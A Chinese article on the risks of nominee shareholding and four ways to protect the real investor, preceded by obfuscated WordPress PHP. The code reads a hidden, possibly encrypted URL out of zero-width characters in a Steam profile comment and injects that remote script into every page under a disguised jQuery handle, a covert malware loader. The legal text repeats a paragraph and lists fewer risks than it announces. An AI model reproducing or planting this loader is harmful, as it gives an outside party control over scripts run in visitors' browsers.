goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164");
股份代持的情形在实务中不可避免,但因代持而导致的股权纠纷案件也层出不穷。“投资有风险,代持需谨慎”,在代持股无法避免时怎样大限度的保障投资人的权益?代持协议该怎么签?
代持股的定义
代持股是指公司实际股东或者出资人由于某种原因或出于某种考虑不便将自己的名字显示在公司工商登记资料中,而是以其他人或组织的名义作为股东办理公司注册及工商登记。此时,实际出资股东为“隐名股东”,而工商登记的股东为“代持股人”或者“显名股东”。比如:小A向一家贸易公司实际出资50万元,是公司的股东之一,但小A没有在公司章程、股东名册以及企业工商信息里登记自己的名字,而是登记的表弟小C的名字。那么,小A是“隐名股东”,是“代持股委托方”,而小C是“显名股东”,是“代持人”。
代持股出现的原因主要有:一是真实投资人不便于公开自己的身份,比如国家机关工作人员或者与公司有关联交易特殊关系的人员。二是实际出资人不符合国家法律或者公司章程对公司股东的限制性条件等。
代持委托方虽然通过别人持股免去了事前的风险,但代持后的风险却随之而来,而且,这种风险有越来越大的可能。可能的风险主要有三个:
1、股东与股东之间的资格认定;
2、股东与公司以外第三人之间的股东资格认定。
主要原因分析
代持股出现的原因主要有:一是真实投资人不便于公开自己的身份,比如国家机关工作人员或者与公司有关联交易特殊关系的人员。二是实际出资人不符合国家法律或者公司章程对公司股东的限制性条件等。代持委托方虽然通过别人持股免去了事前的风险,但代持后的风险却随之而来,而且,这种风险有越来越大的可能。可能的风险主要有三个:
一个:代持人不承认代持的股权了。随着时间的推移,很多事情发生了变化,变得“说不清楚”,比如代持人会突然“犯起糊涂来”,他耍赖,会和委托人讨论谁是真正的出资人,这种概率肯定存在。
第二个:代持人出现不能偿还的债务时,法院和其他机关是可以查封代持股权,用来还债。代持人如果赌博欠上赌债,或者用股权质押去贷款,又或者代持人离婚,他太太要求分配这一部分股权,这都会让人比较尴尬。为尴尬的是,代持人名下的股权被分配掉了,而代持委托方只能面对欠了一屁股债的代持人,这就比较尴尬了。
第三个:代持人挂了,家里人不明就里,要求继承代持人名下的股权。委托人就得卷入遗产继承案件中来。往往需要付出很大的艰辛,才能完好地拿回自己的股权。
风险预防途径
按照代持股的风险类别,那么如果发生了股权代持,如何轻松规避风险呢?
方法一:签订代持协议。设立代持股时,双方签订明确的股权代持协议,在协议中明确约定双方的权利义务,如被代持股权及其股息的归属、对名义股东的补偿、违约责任等,特别是要约定高额违约责任。
方法二:签订股权转让协议。可以考虑在签订股权代持协议的同时签署被代持股权的股权转让协议,这样实际投资者可以随时依据股权转让协议,要求将被代持股权转让到自身或指定的其他人名下。同时,实际投资者也可要求名义股东出具一份授权委托书,委托实际投资者处置与被代持股权有关的事项。
方法三:办理股权质押担保。在办理股权代持的同时,可以办理股权质押担保,将代持的股份向实际出资人办理质押担保。这样就确保了代持股人无法擅自将股权向第三方提供担保或者出卖转让。再者,即使由于其他原因,比如法院执行或者继承分割需要变卖股权,实际出资人也可以质押权人的身份,获得优先权。
方法四:双方亲属出具认可代持声明。聘请律师安排代持人和实际所有人双方直系亲属出具认可代持的书面声明,避免因代持人婚变或死亡导致亲属主张分割代持资产的风险等等。